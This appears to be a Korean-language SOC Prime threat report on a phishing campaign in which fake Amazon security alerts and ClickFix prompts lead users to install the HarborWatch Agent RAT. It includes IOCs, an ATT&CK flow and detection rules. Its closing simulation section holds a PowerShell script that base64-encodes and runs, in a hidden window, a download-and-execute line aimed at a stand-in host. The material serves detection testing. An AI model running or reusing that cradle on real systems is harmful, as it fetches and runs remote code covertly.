SOC Prime Bias: 중간

09 Jun 2026 13:04 UTC

가짜 아마존 보안 알림에서 HarborWatch 에이전트 배포까지

Author Photo
SOC Prime Team linkedin icon 팔로우
가짜 아마존 보안 알림에서 HarborWatch 에이전트 배포까지
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

이 보고서는 피해자가 ClickFix 스타일 프롬프트를 통해 PowerShell 명령을 실행하도록 속이는 가짜 아마존 보안 경고를 기반으로 하는 피싱 캠페인을 자세히 설명합니다. 해당 명령은 mysql.exe라는 악성 실행 파일을 다운로드하는데, 이는 사실 HarborWatch Agent RAT입니다. 실행되면 이 악성코드는 명령 및 제어 서버에 연결하여 호스트 정보를 전송합니다. 이 작업은 유사 도메인과 사용자가 주도하는 자가 감염 방식을 사용하여 전통적인 첨부 파일 기반의 탐지를 피합니다.

조사

Cofense는 위장된 발신자 주소를 통해 악성 도메인, PowerShell 다운로드 및 최종 악성 페이로드를 추적했습니다. mysql.exe 의 동적 분석에서는 명령 및 제어 서버 185.193.127.44 와의 아웃바운드 통신과 API 경로 /api/agent/tasks/ and /api/heartbeat의 사용을 밝혀냈습니다. 메모리 분석에서는 식별자 HarborWatchAgent/c-1.1.1.

도 노출되었습니다.

완화 방안 mysql.exe 의 예상치 못한 생성 모니터링, 브랜드 사칭 및 위장 경고 탐지를 강화해야 합니다. Temp 디렉토리에서 악성 도메인 및 IP 주소를 차단하고, 인코딩된 명령의 PowerShell 실행을 제한하며,

대응

이 활동이 탐지되면 영향받은 엔드포인트를 격리하고, HarborWatch Agent 프로세스를 종료한 후 포렌식 증거를 수집하고, 환경 전반에 걸쳐 지표 기반의 차단을 배포해야 합니다. 사용자에게 가짜 아마존 보안 경고에 대해 경고하고, 피싱 보호 조치를 유사한 미끼를 포착할 수 있도록 업데이트해야 합니다.

"graph TB %% Class definitions classDef action fill:#99ccff classDef malware fill:#ff6666 classDef process fill:#ffcc99 classDef file fill:#cccccc %% Nodes initial_access_phishing["<b>Action</b> – <b>T1566.002 Spearphishing Link</b><br/>Email appears to be from Amazon and contains a malicious verification link."] class initial_access_phishing action user_execution_malicious_link["<b>Action</b> – <b>T1204.001 User Execution: Malicious Link</b><br/>Victim clicks the link and is taken to a page that instructs them to copyu2011paste a PowerShell command."] class user_execution_malicious_link action user_execution_copy_paste["<b>Action</b> – <b>T1204.004 User Execution: Copy and Paste</b><br/>Copied PowerShell command is executed locally."] class user_execution_copy_paste action obfuscation_obfuscated_files["<b>Action</b> – <b>T1027 Obfuscated Files or Information</b> & <b>T1027.018 Invisible Unicode</b><br/>PowerShell command is base64u2011encoded and contains hidden Unicode characters."] class obfuscation_obfuscated_files action deobfuscate_decode["<b>Action</b> – <b>T1140 Deobfuscate/Decode Files or Information</b><br/>Command decodes the payload at runtime."] class deobfuscate_decode action hide_artifact_hidden_window["<b>Action</b> – <b>T1564.003 Hidden Window</b><br/>PowerShell runs with -w hidden to avoid UI."] class hide_artifact_hidden_window action ingress_tool_transfer["<b>Action</b> – <b>T1105 Ingress Tool Transfer</b><br/>Script downloads a secondu2011stage PowerShell script (code.txt) from a remote server."] class ingress_tool_transfer action server_software_component["<b>Action</b> – <b>T1505 Server Software Component</b><br/>Second script retrieves and executes a payload (mysql.exe) placed in %TEMP%."] class server_software_component action remote_access_tool["<b>Malware</b> – <b>T1219 Remote Access Tool</b><br/>Custom RAT named HarborWatch Agent is executed."] class remote_access_tool malware discovery_security_software["<b>Action</b> – <b>T1518.001 Security Software Discovery</b><br/>RAT collects security software information."] class discovery_security_software action discovery_hardware["<b>Action</b> – <b>T1592.001 Hardware Discovery</b><br/>RAT gathers hardware details of the host."] class discovery_hardware action discovery_network_appliances["<b>Action</b> – <b>T1590.006 Network Security Appliances</b><br/>RAT enumerates network security devices."] class discovery_network_appliances action discovery_log_enumeration["<b>Action</b> – <b>T1654 Log Enumeration</b><br/>RAT enumerates event logs."] class discovery_log_enumeration action discovery_threat_vendor["<b>Action</b> – <b>T1681 Search Threat Vendor Data</b><br/>RAT searches for threat intelligence."] class discovery_threat_vendor action c2_bidirectional["<b>Action</b> – <b>T1102.002 Web Service Bidirectional Communication</b><br/>Data is sent to C2 server via HTTPS."] class c2_bidirectional action c2_oneway["<b>Action</b> – <b>T1102.003 Web Service Oneu2011Way Communication</b><br/>Additional instructions retrieved via HTTPS."] class c2_oneway action c2_dynamic_resolution["<b>Action</b> – <b>T1568 Dynamic Resolution</b><br/>RAT resolves C2 domains at runtime."] class c2_dynamic_resolution action c2_dga["<b>Action</b> – <b>T1568.002 Domain Generation Algorithms</b><br/>Domain list generated algorithmically."] class c2_dga action c2_dead_drop_resolver["<b>Action</b> – <b>T1102.001 Dead Drop Resolver</b><br/>Retrieves extra C2 instructions from deadu2011drop site."] class c2_dead_drop_resolver action exfiltration_c2["<b>Action</b> – <b>T1041 Exfiltration Over C2 Channel</b><br/>Collected information exfiltrated through the same web channel."] class exfiltration_c2 action exfiltration_alternative["<b>Action</b> – <b>T1048 Exfiltration Over Alternative Protocol</b><br/>Alternative protocol used for data exfiltration."] class exfiltration_alternative action discovery_cloud_dashboard["<b>Action</b> – <b>T1538 Cloud Service Dashboard</b><br/>Data displayed on Chineseu2011language web panel (Harbor Sentinel)."] class discovery_cloud_dashboard action %% Connections initial_access_phishing –>|leads to| user_execution_malicious_link user_execution_malicious_link –>|leads to| user_execution_copy_paste user_execution_copy_paste –>|triggers| obfuscation_obfuscated_files obfuscation_obfuscated_files –>|decoded by| deobfuscate_decode deobfuscate_decode –>|executes| hide_artifact_hidden_window hide_artifact_hidden_window –>|downloads| ingress_tool_transfer ingress_tool_transfer –>|downloads| server_software_component server_software_component –>|executes| remote_access_tool remote_access_tool –>|performs| discovery_security_software remote_access_tool –>|performs| discovery_hardware remote_access_tool –>|performs| discovery_network_appliances remote_access_tool –>|performs| discovery_log_enumeration remote_access_tool –>|performs| discovery_threat_vendor remote_access_tool –>|communicates via| c2_bidirectional remote_access_tool –>|receives via| c2_oneway c2_bidirectional –>|uses| c2_dynamic_resolution c2_dynamic_resolution –>|uses| c2_dga c2_oneway –>|uses| c2_dead_drop_resolver remote_access_tool –>|exfiltrates via| exfiltration_c2 exfiltration_c2 –>|may also use| exfiltration_alternative remote_access_tool –>|reports to| discovery_cloud_dashboard "

공격 흐름

탐지

커맨드 라인에서의 가능한 ClickFix 공격 패턴 (cmdline 통해)

SOC Prime 팀
2026년 6월 9일

숨겨진 PowerShell 커맨드 라인 실행 가능성 (cmdline 통해)

SOC Prime 팀
2026년 6월 9일

의심스러운 PowerShell 문자열 (cmdline 통해)

SOC Prime 팀
2026년 6월 9일

의심스러운 PowerShell 문자열 (PowerShell 통해)

SOC Prime 팀
2026년 6월 9일

PowerShell에서 의심스러운 .NET 메소드 호출 (PowerShell 통해)

SOC Prime 팀
2026년 6월 9일

탐지할 IOCs (HashSha256): 가짜 아마존 보안 경고에서 HarborWatch Agent ClickFix를 통한 맞춤 모니터링 RAT 배포

SOC Prime AI 규칙
2026년 6월 9일

탐지할 IOCs (HashMd5): 가짜 아마존 보안 경고에서 HarborWatch Agent ClickFix를 통한 맞춤 모니터링 RAT 배포

SOC Prime AI 규칙
2026년 6월 9일

탐지할 IOCs (SourceIP): 가짜 아마존 보안 경고에서 HarborWatch Agent ClickFix를 통한 맞춤 모니터링 RAT 배포

SOC Prime AI 규칙
2026년 6월 9일

탐지할 IOCs (DestinationIP): 가짜 아마존 보안 경고에서 HarborWatch Agent ClickFix를 통한 맞춤 모니터링 RAT 배포

SOC Prime AI 규칙
2026년 6월 9일

특정 비밀번호 인수로 mysql.exe 실행 [Windows 프로세스 생성]

SOC Prime AI 규칙
2026년 6월 9일

HarborWatch Agent C2 통신 탐지 [Windows 네트워크 연결]

SOC Prime AI 규칙
2026년 6월 9일

혼란 및 숨겨진 창과 함께 PowerShell 실행 탐지 [Windows PowerShell]

SOC Prime AI 규칙
2026년 6월 9일

시뮬레이션 실행

전제 조건: 텔레메트리 및 기준선을 사전 점검해야 통과해야 합니다.

이 섹션은 탐지 규칙을 유발하도록 설계된 적대적 기술의 정확한 실행을 자세히 설명합니다. 명령과 내러티브는 반드시 식별된 TTP를 직접 반영하여 탐지 논리에 의해 예상되는 정확한 텔레메트리를 생성하도록 해야 합니다.

  • 공격 내러티브 및 명령:
    공격자가 엔드포인트에서 발판을 얻고 사용자에게 숨겨진 상태에서 악성 페이로드를 다운로드하여 실행하려고 합니다. 그들은 PowerShell 한 줄 명령을 제작합니다:

    1. 실행 프로필 없이 (-nop)를 사용하여 사용자 프로필 로딩을 피합니다.
    2. 시작 숨겨진 창에서 (-w hidden) UI 노출을 방지합니다 (T1564.003).
    3. 을 포함합니다 base64로 인코딩된 역방향 쉘 스크립트로 간단한 문자열 탐지를 피합니다 (T1027.010).
    4. 를 통해 디코딩된 스크립트를 실행합니다 -EncodedCommand, PowerShell을 서명된 바이너리로 활용하여 (T1218).

    제작된 명령 줄은 Sigma 규칙의 CommandLine|contains 필터와 일치하여 예상 경고를 생성합니다.

  • 회귀 테스트 스크립트:

    # -------------------------------------------------
    # Sigma 규칙을 유발할 악성 PowerShell 실행
    # -------------------------------------------------
    $payload = 'IEX (New-Object Net.WebClient).DownloadString("http://malicious.example.com/payload.ps1")'
    $b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
    $cmd = "-nop -w hidden -EncodedCommand $b64"
    Start-Process -FilePath "$env:SystemRootSystem32WindowsPowerShellv1.0powershell.exe" `
        -ArgumentList $cmd `
        -WindowStyle Hidden
    # 스크립트 끝
  • 정리 명령:

    # 남아 있는 악성 PowerShell 프로세스를 종료합니다
    Get-Process -Name powershell -ErrorAction SilentlyContinue | Stop-Process -Force
    
    # 임시 파일을 제거합니다 (이 경우 생성되지 않음)
    # 세션에서 base64 페이로드 변수를 삭제합니다 (선택 사항)
    Remove-Variable -Name b64 -ErrorAction SilentlyContinue